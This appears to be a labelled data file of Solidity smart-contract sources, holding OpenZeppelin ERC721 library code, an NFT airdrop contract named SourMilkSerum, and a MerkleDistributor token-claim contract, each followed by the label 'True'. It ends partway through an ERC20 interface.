return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/SourMilkSerum.sol
//https://kronickatz.io
//https://twitter.com/kroniokatz
//https://discord.gg/kronickatz
//https://linktr.ee/kronickatz.nft
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//// // \/ /// \/ \\// / \/ // ///// // //// \/ // \/ /// \/ / \///
//// ////// /// // /// // // //// / / // // ///// / ///// ////// ////// // // /// // / / ////
//// // /// // /// // ///// // // // // ///// ///// // // /// /// // // // ////
//////// // /// // /// // // //// // // // // ///// // ///////// // ////// // // /// // // // ////
//// // // // // //// ///// // // // // //// // // // // // ///// ////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//KronicKatzNFT proudly presents
//Sour Milk Serum
//Who's ready for the Mutant Kronicz?
//Only 1000 Serums will be dropped
//Must hold 1 KronicKatz to receive airdrop
//1 Serum per wallet
//3 Kronics on 4/20 for the serum to birth 1 of 3 possible mutants
//Get 1 of the 5 legendary mutations and claim your right as Lord Kronic
pragma solidity >=0.7.0 <0.9.0;
contract SourMilkSerum is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public maxSupply = 1000;
uint256 public maxMintAmountPerTx = 1;
bool public paused = true;
bool public revealed = false;
address public kronicAddress;
constructor() ERC721("Sour Milk Serum", "MKRONIC") {
setHiddenMetadataUri("ipfs://QmXht8r293XAJgrvbCHLm2WZAi6Vaj57K3V8nCNRxvWhEw/1.json");
setKronicAddress(0x19534c6bC37fD44C93F3a6506E44F32a99670f43);
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
IERC721 token = IERC721(kronicAddress);
uint256 ownerAmount = token.balanceOf(msg.sender);
require(ownerAmount >= 1, "Not so fast, you dont own a Kronic");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setKronicAddress(address _newAddress) public onlyOwner {
kronicAddress = _newAddress;
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
(bool hs, ) = payable(0x89C99aA9Bf11f53D995f13A518d0De12Bae7dE38).call{value: address(this).balance * 5 / 100}("");
require(hs);
// =============================================================================
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
}
|
True
|
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// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* // importANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/cryptography/MerkleProof.sol
// pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// Dependency file: @openzeppelin/contracts/GSN/Context.sol
// pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Dependency file: contracts/interfaces/IMerkleDistributor.sol
// pragma solidity >=0.5.0;
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
// Root file: contracts/MerkleDistributor.sol
pragma solidity =0.6.11;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "contracts/interfaces/IMerkleDistributor.sol";
contract MerkleDistributor is IMerkleDistributor, Ownable {
address public immutable override token;
bytes32 public immutable override merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
event Withdraw(
address indexed withdrawer,
uint256 amount
);
constructor(address token_, bytes32 merkleRoot_) public {
token = token_;
merkleRoot = merkleRoot_;
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
// Mark it claimed and send the token.
_setClaimed(index);
require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');
emit Claimed(index, account, amount);
}
// Emergency withdraw for admin
function withdraw(uint256 _amount) external onlyOwner {
IERC20(token).transfer(msg.sender, _amount);
emit Withdraw(msg.sender, _amount);
}
}
|
True
|
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// SPDX-License-Identifier: GPL-3.0-only
pragma experimental ABIEncoderV2;
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
